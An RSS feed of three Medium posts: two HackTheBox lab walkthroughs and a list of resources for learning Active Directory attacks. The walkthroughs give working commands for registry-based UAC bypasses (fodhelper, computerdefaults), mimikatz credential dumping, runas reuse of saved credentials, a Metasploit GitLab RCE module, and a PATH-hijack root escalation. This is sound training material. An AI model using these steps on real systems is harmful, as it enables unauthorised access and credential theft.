<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Manojchandran on Medium]]></title>
        <description><![CDATA[Stories by Manojchandran on Medium]]></description>
        <link>https://medium.com/@manojchandran178?source=rss-040f69a41981------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*_eyV_CyoTs4IU8V7</url>
            <title>Stories by Manojchandran on Medium</title>
            <link>https://medium.com/@manojchandran178?source=rss-040f69a41981------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 21:29:29 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@manojchandran178/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox Password Attacks: Attacking Windows Credential Manager]]></title>
            <link>https://medium.com/@manojchandran178/hackthebox-password-attacks-attacking-windows-credential-manager-new-module-11e0857aea22?source=rss-040f69a41981------2</link>
            <guid isPermaLink="false">https://medium.com/p/11e0857aea22</guid>
            <dc:creator><![CDATA[Manojchandran]]></dc:creator>
            <pubDate>Fri, 06 Jun 2025 06:18:02 GMT</pubDate>
            <atom:updated>2025-06-06T06:24:06.394Z</atom:updated>
            <content:encoded><![CDATA[<p>Question:</p><p>What is the password mcharles uses for OneDrive?</p><p>Answer: ????</p><p>Please check the steps below</p><p>Since this part of the module is new and I haven’t seen an article on it yet, I’m here to share my thoughts on how I found “mcharles OneDrive Password.&quot;</p><p>When performing post-exploitation activities in Windows environments, the Credential Manager is a goldmine for retrieving saved credentials. In this write-up, I’ll walk you through how I tackled the “Attacking Windows Credential Manager” section on HTB Academy, where I extracted a domain user’s saved credentials and bypassed UAC to complete the mission.</p><h3>Objective</h3><p>Access a Windows host as user <em>sadams </em>via RDP, then extract the OneDrive credential (Generic Credential) for another user,<em> mcharles.</em></p><p><strong>Tools &amp; Techniques Used</strong></p><ul><li><em>cmdkey</em> to enumerate saved credentials</li><li><em>runas</em> to impersonate mcharles</li><li><em>reg </em>to craft a UAC bypass via fodhelper.exe</li><li><em>mimikatz</em> to dump credentials from LSASS memory</li><li><em>UAC Bypass</em> via msconfig.exe</li></ul><h3>Step 1: Initial Enumeration</h3><p>Logged into the RDP target using credentials for <em>sadams</em>:</p><pre>xfreerdp /u:sadams /p:”totally2brow2harmon@” /v:&lt;IP&gt;</pre><p>Enumerated saved credentials:</p><pre>cmdkey /list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aK7f4doBzW2occdR.png" /></figure><p>This confirmed that a OneDrive credential was saved in Credential Manager for mcharles</p><h3>Step 2: Impersonate mcharles</h3><p>Used the stored credential to launch a shell as mcharles without knowing the password:</p><pre>runas /user:SRV01\mcharles /savecred cmd</pre><p>Then verified with:</p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n05CkfL17R0z1do8.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/236/0*wmzv-X9oxhsCxY-7.png" /></figure><p>GUI tools like Credential Manager and keymgr.dll failed to show the OneDrive credentials. Vaults and Registry were also empty. At this point, it was clear that the lab required Admin access to proceed further</p><h3>Step 3: Bypass UAC via fodhelper.exe</h3><p>First, we have to bypass the UAC, then we get Administrator Access.</p><p>Follow steps below:</p><p>I mentioned two payloads you can try one payload that your choices</p><p>Payload:</p><p>Using fodhelper.exe:</p><pre>reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d &quot;cmd.exe&quot; &amp;&amp; start fodhelper.exe</pre><p>Using computerdefaults.exe:</p><pre>reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d &quot;&quot; /f &amp;&amp; reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d &quot;cmd.exe&quot; /f &amp;&amp; start computerdefaults.exe</pre><p>By launching the command prompt and typing whoami, it will still say we’re mcharles. However, now we can route to the Administrator folder and have full access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*kmwvlH-yMyvLGjnM.png" /></figure><h3>Step 4: Dump credentials with Mimikatz</h3><p>First I cloned the mimikatz repo to my Pwnbox, of which afterwards i initiated a shared drive so that the rdp machine had access to the mimikatz folder</p><p>Mimikatz github link: <a href="https://github.com/ParrotSec/mimikatz">https://github.com/ParrotSec/mimikatz</a></p><pre>xfreerdp /u:sadams /p:&quot;totally2brow2harmon@&quot; /v:10.129.234.171 \<br>/drive:share,/home/&lt;USER&gt;/mimikatz</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*D5NIVwDORxfhK4GT-ys74g.png" /></figure><p>Go to the exact path folder, there you can find the mimikatz shared folder, I just copied that x64 inside folder, which has mimikatz.exe, i pasted in sadams user folder, steps below</p><p>Paste this command in Administrator cmd:</p><p>copy C:\Users\sadams\mimikatz.exe.exe C:\Users\Administrator\</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m2gD9F44lBTuP4pHKO8NGw.png" /></figure><p>type: mimikatz.exe</p><pre>privilege::debug<br>vault::cred</pre><p>Although the tutorial states to use sekurlsa::credman, i didn’t find the credentials using that method. Instead, I used vault::cred and got the password of mcharles OneDrive account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/0*9Iv774SGh2HiIbdO.png" /></figure><p>Pwned!</p><p>Happy Hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11e0857aea22" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory HTB Labs and Methods]]></title>
            <link>https://medium.com/@manojchandran178/active-directory-htb-labs-and-methods-e082c164eea3?source=rss-040f69a41981------2</link>
            <guid isPermaLink="false">https://medium.com/p/e082c164eea3</guid>
            <dc:creator><![CDATA[Manojchandran]]></dc:creator>
            <pubDate>Wed, 30 Apr 2025 11:22:34 GMT</pubDate>
            <atom:updated>2025-04-30T11:22:34.327Z</atom:updated>
            <content:encoded><![CDATA[<h4>Active Directory Enumeration &amp; Attacks</h4><ol><li>Page 36</li><li>Beyond this Module</li></ol><h3>Beyond this Module</h3><h3>Status Update</h3><p>By the end of the skills assessments, we provided enough access and enumeration results to our senior pentesters to complete their follow-on actions and successfully meet all assessment objectives. Demonstrating our skills has shown the team lead that we are now capable of performing actions for more upcoming assessments dealing with Active Directory environments. He will be providing us with more tasks soon.</p><h3>Real World</h3><p>As a Penetration Tester, one could expect the tasks provided in this module to a part of our day-to-day duties. Having a deep understanding of AD and what we can glean from it (access and enumeration-wise) is essential to fulfill the duties of the role. Our actions may often influence the actions of our teammates and senior testers if we are working on an assessment as a team. Those actions could include:</p><ul><li>Taking advantage of cross-domain trusts to infiltrate other domains</li><li>Persistence methods</li><li>Command and Control within the domain for assessments that have longer windows,</li></ul><p>With the modern enterprise moving toward hybrid and cloud environments, understanding the foundations within AD and how to abuse them will be extremely helpful when attempting to pivot to these new types of networks. If any of the concepts, terminology, or actions discussed in this module were a bit challenging or confusing, consider going back and checking out the <a href="https://academy.hackthebox.com/course/preview/introduction-to-active-directory">Introduction To Active Directory</a> module. It contains a deep dive into all things AD and helps lay a foundation of knowledge needed to understand Active Directory.</p><h3>What’s Next?</h3><p>Check out the <a href="https://academy.hackthebox.com/course/preview/active-directory-bloodhound">Active Directory BloodHound</a> module to better understand how BloodHound works. Also, check out the <a href="https://academy.hackthebox.com/course/preview/active-directory-ldap">Active Directory LDAP</a> and <a href="https://academy.hackthebox.com/course/preview/active-directory-powerview">Active Directory PowerView</a> modules. The <a href="https://academy.hackthebox.com/course/preview/cracking-passwords-with-hashcat">Cracking Passwords with Hashcat</a> module can also help improve our understanding of the actions we took in the Kerberoasting and Password Spraying sections.</p><h3>More AD Learning Opportunities</h3><p>The Hack The Box main platform has many targets for learning and practicing AD enumeration and attacks. The <a href="https://app.hackthebox.com/tracks/Intro-to-Zephyr">Intro to Zephyr</a> on the main HTB platform is an excellent resource for practice. Tracks are curated lists of machines and challenges for users to work through and master a particular topic. The Intro to Zephyr contains boxes of varying difficulties with various attack vectors. Even if you cannot solve these boxes on your own, it is still worth working with them with a walkthrough or video or just watching the video on the box by Ippsec. The more you expose yourself to these topics, the more comfortable and second nature enumeration and many attacks will become. The boxes below are great to practice the skills learned in this module.</p><h4>Boxes To Pwn</h4><ul><li><a href="https://www.youtube.com/watch?v=H9FcE_FMZio">Forest</a></li><li><a href="https://www.youtube.com/watch?v=jUc1J31DNdw">Active</a></li><li><a href="https://youtu.be/ob9SgtFm6_g">Reel</a></li><li><a href="https://youtu.be/VVZZgqIyD0Q">Mantis</a></li><li><a href="https://youtu.be/IfCysW0Od8w">Blackfield</a></li><li><a href="https://youtu.be/HTJjPZvOtJ4">Monteverde</a></li></ul><p>Ippsec has recorded videos explaining the paths through many of these boxes and more. As a resource, <a href="https://ippsec.rocks/?#">Ippsec’s site</a> is a great resource to search for videos and write-ups pertaining to many different subjects. Check out his videos and write-ups if you get stuck or want a great primer dealing with Active Directory and wish to see how some of the tools work.</p><h4>ProLabs</h4><p>Pro Labs are large simulated corporate networks that teach skills applicable to real-life penetration testing engagements. The Dante Pro Lab is an excellent place to start with varying vectors and some AD exposure. The Offshore Pro Lab is an advanced-level lab that contains a wealth of opportunities for practicing AD enumeration and attacks.</p><ul><li><a href="https://app.hackthebox.com/prolabs/overview/dante">Dante</a> Pro Lab</li><li><a href="https://app.hackthebox.com/prolabs/overview/offshore">Offshore</a> Pro Lab</li></ul><p>Head <a href="https://app.hackthebox.com/prolabs">HERE</a> to look at all the Pro Labs that HTB has to offer.</p><h4>Endgames</h4><p>For an extreme challenge that may take you a while to get through, check out the <a href="https://app.hackthebox.com/endgames/ascension">Ascension</a> Endgames. This endgame features two different AD domains and has plenty of chances to practice our AD enumeration and attacking skills.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Cx5VoYWGuPmcuwFq.png" /></figure><h4>Great Videos to Check Out</h4><p><a href="https://youtu.be/wP8ZCczC1OU">Six Degrees of Domain Admin</a> from DEFCON 24 is a great watch for an introduction to BloodHound.<br><a href="https://youtu.be/_nGpZ1ydzS8">Designing AD DACL Backdoors</a> by Will Schroeder and Andy Robbins is a gem if you haven&#39;t seen it.<a href="https://www.youtube.com/watch?v=PUyhlN-E5MU">Kicking The Guard Dog of Hades</a> is one of the original releases for Kerberoasting and is a great watch. In <a href="https://youtu.be/Jaa2LmZaNeU">Kerberoasting 101</a>, Tim Medin does an excellent job dissecting the Kerberoasting attack and how to perform them.</p><p>There are so many more, but building a list here would take a whole other section. The videos above are a great start to advancing your AD knowledge.</p><h4>Writers and Blogs To Follow</h4><p>Between the HTB Discord, Forums, and blogs, there are plenty of outstanding write-ups to help advance your skills along the way. One to pay attention to would be <a href="https://0xdf.gitlab.io/tags.html#active-directory">0xdf&#39;s walkthroughs</a>. These are also a great resource to understand how an Active Directory attack path may look in the real world. 0xdf writes about much more, and his blog is an excellent resource. The list below contains links to other authors and blogs we feel do a great job discussing AD security topics and much more.</p><p><a href="https://posts.specterops.io/">SpecterOps</a> has an interesting blog where they talk about AD, BloodHound, Command and Control, and so much more.<br><a href="https://blog.harmj0y.net/category/activedirectory/">Harmj0y</a> writes quite a bit about AD, among other things as well. He is someone you should be following if you are looking to work in this industry.<br><a href="https://adsecurity.org/?author=2">AD Security Blog</a> by Sean Metcalf is a treasure box full of awesome content, all AD and security related. It is a must-read if you are focused on Active Directory.<br><a href="https://shenaniganslabs.io/">Shenaniganslabs</a> is a great group of security researchers discussing many different topics in the security realm. These can include new vulnerabilities to Threat Actor TTPs.<br><a href="https://dirkjanm.io/">Dirk-jan Mollema</a> also has a great blog documenting his adventures with AD security, Azure, protocols, vulnerabilities, Python, etc.<br><a href="https://thedfirreport.com/">The DFIR Report</a> is maintained by a talented team of Blue Teamers/Infosec Content creators that share their findings from recent intrusion incidents in incredible detail. Many of their posts showcase AD attacks and the artifacts that attackers leave behind.</p><h3>Closing Thoughts</h3><p>Absorbing everything we can about Active Directory security and becoming familiar with the TTPs utilized by different teams and threat actors will take us a long way. <a href="https://attack.mitre.org/matrices/enterprise/windows/">MITRE’s Enterprise Attack Matrix</a> is a great place to research attacks and their corresponding tools and defenses. AD is a vast topic and will take time to master. New vulnerability vectors and PoC attacks are being released frequently. This topic isn’t going anywhere, so use the resources available to stay ahead of the curve and keep networks actively secure. A fundamental understanding of AD and the tools surrounding the field, both as a penetration tester or defender, will keep us up to date. The more we understand the bigger picture, the more powerful we will become as attackers and defenders, and the more value we can provide to our clients and the companies we work for. Improving security is our focus, but nothing says we can’t have fun while doing so.</p><p>Thanks for following along on this adventure, and keep on learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e082c164eea3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Writeup — Laboratory]]></title>
            <link>https://medium.com/@manojchandran178/hackthebox-writeup-laboratory-4c9507e46db6?source=rss-040f69a41981------2</link>
            <guid isPermaLink="false">https://medium.com/p/4c9507e46db6</guid>
            <dc:creator><![CDATA[Manojchandran]]></dc:creator>
            <pubDate>Tue, 08 Apr 2025 05:08:26 GMT</pubDate>
            <atom:updated>2025-04-08T05:08:26.736Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox Writeup — Laboratory</h3><h3>Walkthrough</h3><h3>Network Scanning</h3><p>To attack any machine, we need the IP Address. The machine hosted on HackTheBox has a static IP Address.</p><p><strong>IP Address assigned: 10.129.148.89</strong></p><p>Now that we have the IP Address. We need to enumerate open ports on the machine. For this, we will be running a nmap scan.</p><p>nmap -A 10.129.148.89</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/0*mt68HbfXqKNDECKl.png" /></figure><p>The Nmap scan quickly gave us some great information. It positively informed that the following ports and services are running: SSH (22), HTTP (80), HTTPS (443). Upon reading the nmap scan it was observed that the Common Name is laboratory.htb. We make the entry in the /etc/hosts file with the IP address.</p><h3>Enumeration</h3><p>Since we have added an entry in the /etc/hosts file with the IP Address, we can use the laboratory.htb in the Web browser to enumerate the HTTPS service. The website that is hosted is created to promote a company that is dedicated to Security and Development Services.</p><p><a href="https://laboratory.htb/">https://laboratory.htb</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/0*emzVn0wTTvxV7h0c.png" /></figure><p>We got a clue from the nmap scan that there is a possibility of subdomains from the details that were enumerated while checking the certificate information. To confirm the suspicion and to potentially enumerate any other subdomains. We use GoBuster for this task. We can see that we have successfully enumerated the git.laboratory.htb.</p><p>gobuster dir — url <a href="https://laboratory.htb/">https://laboratory.htb/</a> — wordlist /usr/share/dirbuster/wordlists/directory-list-lowcase-2.3-small.txt -t 50</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mSmT_S8pfaeIjnRM.png" /></figure><p>As we have found this new subdomain, we need to make an edit in our /etc/hosts file so that we can access it on our web browser.</p><p>nano /etc/hosts</p><p>10.129.148.89 laboratory.htb git.laboratory.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/0*N5wQxxfguzsqqEOI.png" /></figure><p>Upon opening the git. laboratory.htb, we see that it is an installation of GitLab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ITMX1q-3sBibn0oH.png" /></figure><p><a href="https://git.laboratory.htb/users/sign_in">https://git.laboratory.htb/users/sign_in</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/0*lIASglaELg6C328O.png" /></figure><p>Since we didn’t have any credentials for the users, we tried to register for a new user. But we are given an error that the email domain is not the one that it would accept. So, in order to circumvent this error, we tried to change the email address to the domain of the application i.e., laboratory.htb.</p><p>After logging in with the newly created credentials, we see that we have the GitLab Community Edition installed on the target machine. The version is 12.8.1.</p><h3>Exploitation</h3><p>After, going through some exploration for the version of the GitLab, we found that this version is vulnerable to Remote Code Execution Attack. It is possible to use a direct exploit that can be found on exploitdb. However, we found that it is possible to use an exploit this vulnerability using Metasploit. It requires some set parameters such as the IP Address and port of the target machine, vhost which is the git.laboratory.htb. Then it requires the username and password that was created earlier. After running for a moment, the exploit provides with a shell on the target machine. We prompt the shell to the bash which tells us that the session that we have procured is for the user git.</p><p>use exploit/multi/http/gitlab_file_read_rce</p><p>set rhosts 10.129.148.89</p><p>set rport 443</p><p>set vhost git.laboratory.htb</p><p>set username leo</p><p>set password 12345678</p><p>set ssl <strong>true</strong></p><p>set lhost 10.10.14.108</p><p>exploit</p><p>bash -i</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/0*fDiPWBO8SjjSLu0I.png" /></figure><p>Since we are stuck in the shell, and we cannot run enumerations tests without knowing the password so we try to look for a possible method that can be used to change the password for a shell that is invoked by the GitLab installation. By browsing and reading the documentation on the GitLab official site, we found this particular method.</p><p><strong>How to reset user password | GitLab — GitLab Docs</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/0*Rw9dwGR1IiqEV70r.png" /></figure><p>After invoking an interactive shell, we get inside the GitLab console. Here, we require to enumerate for the user on the Linux machine that must have implemented the GitLab instance. We do this using the user=user.find(1) command. It reveals that the user we are looking for is Dexter user. We use the user.password command to change the password and then save our changes.</p><p>bash -i</p><p>gitlab-rails console</p><p>user-User.find(1)</p><p>user.password = “87654321”</p><p>user.password_confirmation = “87654321”</p><p>user.save!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/0*Ayt2I41YrQSTwbJ4.png" /></figure><p>Now that we have access to the user dexter user account, we get back to the GitLab instance on our Web Browser and login using the credentials for dexter. After a successful login, we start to enumerate the files that are accessible for the dexter user and find an SSH private key as shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qQXLSGyoa4MKqBR3.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/0*sgvbIfV3ysREwOMp.png" /></figure><h3>Privilege Escalation</h3><p>We copy the private key and create a key on the Kali Linux and named its the key. We used this key to connect to the target machine via SSH. You can read the User flag at this point. After logging in, one of the first enumeration tasks we did was check for the SUID permissions. It prints a huge list of binaries, among which we find the docker-security. It can be used to elevate our access to root.</p><p>ssh -i key dexter@10.129.148.89</p><p>find / -perm -u=s -type f 2&gt;/dev/<strong>null</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/0*sPk7vf1g8e-5_Ucb.png" /></figure><p>Since it’s a binary that we are not that familiar with, the usual course of action is to reverse engineer it. Although you can use ltrace command to understand the working of the binary. It will tell you that it runs the command chmod to change the permissions for /usr/bin/docker. Since it doesn’t use the complete path of the chmod, we can exploit it by creating a chmod with shell invocation in the same directory and run the binary. Rather than using the original chmod, it will use the chmod that we created and give us root access to the machine. We now can read the root flag and conclude this machine.</p><p>echo “/bin/bash” &gt; chmod</p><p>chmod 777 chmod</p><p>export PATH=/tmp:$PATH</p><p>/usr/local/bin/docker-security</p><p>cd /root</p><p>ls</p><p>cat root.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/0*s1k0B1YwdTjgZJFu.png" /></figure><p>Author: Manoj Chandran</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4c9507e46db6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>